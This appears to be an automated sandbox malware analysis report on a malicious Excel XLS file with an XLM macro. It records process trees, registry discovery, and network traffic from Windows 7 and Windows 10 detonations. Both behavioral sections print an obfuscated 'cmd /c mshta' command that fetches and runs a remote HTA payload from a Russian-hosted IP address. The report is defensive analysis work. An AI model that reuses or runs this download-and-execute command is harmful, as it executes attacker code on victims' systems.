Malware Analysis Report

2025-01-22 16:12

Sample ID 241106-ske8dsvlhj
Target bab94d74f653d7cd27df1a970ac0d9ab6a38b120
SHA256 343f7bf62b18395da157eb8592d3c8aed5e2d8bbc433633ef72ca650c2379573
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

343f7bf62b18395da157eb8592d3c8aed5e2d8bbc433633ef72ca650c2379573

Threat Level: Known bad

The file bab94d74f653d7cd27df1a970ac0d9ab6a38b120 was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Suspicious Office macro

Blocklisted process makes network request

System Location Discovery: System Language Discovery

Suspicious use of WriteProcessMemory

Enumerates system info in registry

Modifies Internet Explorer settings

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-06 15:10

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-06 15:10

Reported

2024-11-06 15:13

Platform

win7-20240903-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\f46200d10671958e27b019f1501f27f33ec5c0e0aaf34b8a526f6aeb8cd1662e.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\f46200d10671958e27b019f1501f27f33ec5c0e0aaf34b8a526f6aeb8cd1662e.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html

C:\Windows\SysWOW64\mshta.exe

mshta http://185.7.214.7/ve/ve.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/2396-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2396-1-0x0000000072CED000-0x0000000072CF8000-memory.dmp

memory/2396-2-0x0000000072CED000-0x0000000072CF8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-06 15:10

Reported

2024-11-06 15:13

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

138s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f46200d10671958e27b019f1501f27f33ec5c0e0aaf34b8a526f6aeb8cd1662e.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1288 wrote to memory of 2756 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 1288 wrote to memory of 2756 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 2756 wrote to memory of 636 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 2756 wrote to memory of 636 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f46200d10671958e27b019f1501f27f33ec5c0e0aaf34b8a526f6aeb8cd1662e.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html

C:\Windows\system32\mshta.exe

mshta http://185.7.214.7/ve/ve.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
FR 52.109.68.129:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 129.68.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 20.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 91.65.42.20.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp

Files

memory/1288-1-0x00007FFB5F330000-0x00007FFB5F340000-memory.dmp

memory/1288-4-0x00007FFB5F330000-0x00007FFB5F340000-memory.dmp

memory/1288-3-0x00007FFB9F34D000-0x00007FFB9F34E000-memory.dmp

memory/1288-2-0x00007FFB5F330000-0x00007FFB5F340000-memory.dmp

memory/1288-0-0x00007FFB5F330000-0x00007FFB5F340000-memory.dmp

memory/1288-9-0x00007FFB9F2B0000-0x00007FFB9F4A5000-memory.dmp

memory/1288-11-0x00007FFB9F2B0000-0x00007FFB9F4A5000-memory.dmp

memory/1288-10-0x00007FFB9F2B0000-0x00007FFB9F4A5000-memory.dmp

memory/1288-12-0x00007FFB5CB80000-0x00007FFB5CB90000-memory.dmp

memory/1288-8-0x00007FFB9F2B0000-0x00007FFB9F4A5000-memory.dmp

memory/1288-7-0x00007FFB9F2B0000-0x00007FFB9F4A5000-memory.dmp

memory/1288-14-0x00007FFB9F2B0000-0x00007FFB9F4A5000-memory.dmp

memory/1288-15-0x00007FFB5CB80000-0x00007FFB5CB90000-memory.dmp

memory/1288-17-0x00007FFB9F2B0000-0x00007FFB9F4A5000-memory.dmp

memory/1288-16-0x00007FFB9F2B0000-0x00007FFB9F4A5000-memory.dmp

memory/1288-21-0x00007FFB9F2B0000-0x00007FFB9F4A5000-memory.dmp

memory/1288-20-0x00007FFB9F2B0000-0x00007FFB9F4A5000-memory.dmp

memory/1288-19-0x00007FFB9F2B0000-0x00007FFB9F4A5000-memory.dmp

memory/1288-18-0x00007FFB9F2B0000-0x00007FFB9F4A5000-memory.dmp

memory/1288-13-0x00007FFB9F2B0000-0x00007FFB9F4A5000-memory.dmp

memory/1288-6-0x00007FFB9F2B0000-0x00007FFB9F4A5000-memory.dmp

memory/1288-5-0x00007FFB5F330000-0x00007FFB5F340000-memory.dmp

memory/1288-32-0x00007FFB9F2B0000-0x00007FFB9F4A5000-memory.dmp